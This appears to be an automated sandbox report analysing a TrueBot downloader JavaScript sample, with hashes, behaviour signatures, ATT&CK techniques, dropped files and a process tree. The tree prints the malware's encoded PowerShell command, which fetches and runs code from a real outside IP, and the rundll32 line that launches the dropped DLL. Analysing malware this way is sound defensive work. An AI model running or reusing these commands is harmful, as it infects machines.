truebot | 8a2aa35f1e8e8186a0f4a6684d3cab54e093914b2dba38f59d5d01c6ee6aaf04

General

Target

information_7_apr-4753978.js
Size

67KB
MD5

71e7a2549311647a6178b84393700bf8
SHA1

5d605717cc5ff74f0b993274790ec343fe2c2687
SHA256

8a2aa35f1e8e8186a0f4a6684d3cab54e093914b2dba38f59d5d01c6ee6aaf04
SHA512

1ec12ae9f544de092e14daf118be87d64498bd0c3590281f1e44bc98809f89c0a4b60c172fd9ad19503a8cd466f0361f5336d140a25ea21f5747142745ccbd4a
SSDEEP

1536:EMtPc6S1wxBOGKZUXldvp3yZEKs7+QhqWIoCqlO1wKF7x1tNRhn4xVNe/6BPfGMd:i1wxBOGKZUXldvp3yZEKs7+QhqWIoCqZ

Score

10^/10

truebot downloader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.69/dll.png

Signatures

TrueBot payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot
\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot

TrueBot, Silence.Downloader
A downloader attributed to Silence group first seen in 2017.
downloader truebot
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

1 3132 powershell.exe
5 1076 rundll32.exe
13 1076 rundll32.exe
15 1076 rundll32.exe
27 1076 rundll32.exe
29 1076 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1076 rundll32.exe
Drops file in Windows directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File created C:\Windows\Tasks\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}.job rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

3132 powershell.exe
3132 powershell.exe
3132 powershell.exe
1076 rundll32.exe
1076 rundll32.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exerundll32.exe

description pid process

Token: SeDebugPrivilege 3132 powershell.exe
Token: SeDebugPrivilege 1076 rundll32.exe

flow	pid	process
1	3132	powershell.exe
5	1076	rundll32.exe
13	1076	rundll32.exe
15	1076	rundll32.exe
27	1076	rundll32.exe
29	1076	rundll32.exe

pid	process
1076	rundll32.exe

description	ioc	process
File created	C:\Windows\Tasks\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}.job	rundll32.exe

pid	process
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe
1076	rundll32.exe
1076	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	1076	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

wscript.execmd.exepowershell.execmd.exe

description	pid	process	target process
PID 2524 wrote to memory of 2640	2524	wscript.exe	cmd.exe
PID 2524 wrote to memory of 2640	2524	wscript.exe	cmd.exe
PID 2640 wrote to memory of 3132	2640	cmd.exe	powershell.exe
PID 2640 wrote to memory of 3132	2640	cmd.exe	powershell.exe
PID 3132 wrote to memory of 4744	3132	powershell.exe	cmd.exe
PID 3132 wrote to memory of 4744	3132	powershell.exe	cmd.exe
PID 4744 wrote to memory of 1076	4744	cmd.exe	rundll32.exe
PID 4744 wrote to memory of 1076	4744	cmd.exe	rundll32.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\information_7_apr-4753978.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3132
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rundll32 %APPDATA%\NoSleep.dll,ChkdskExs
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4744
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 C:\Users\Admin\AppData\Roaming\NoSleep.dll,ChkdskExs
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mckkyg4k.2hi.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
memory/3132-124-0x00000214B9170000-0x00000214B9180000-memory.dmp

Filesize
64KB

Download
memory/3132-127-0x00000214B9100000-0x00000214B9122000-memory.dmp

Filesize
136KB

Download
memory/3132-130-0x00000214B9C90000-0x00000214B9D06000-memory.dmp

Filesize
472KB

Download
memory/3132-146-0x00000214B9170000-0x00000214B9180000-memory.dmp

Filesize
64KB

Download
memory/3132-147-0x00000214B9170000-0x00000214B9180000-memory.dmp

Filesize
64KB

Download
memory/3132-149-0x00000214B9170000-0x00000214B9180000-memory.dmp

Filesize
64KB

Download
memory/3132-150-0x00000214B9170000-0x00000214B9180000-memory.dmp

Filesize
64KB

Download
memory/3132-151-0x00000214B9170000-0x00000214B9180000-memory.dmp

Filesize
64KB

Download

Analysis

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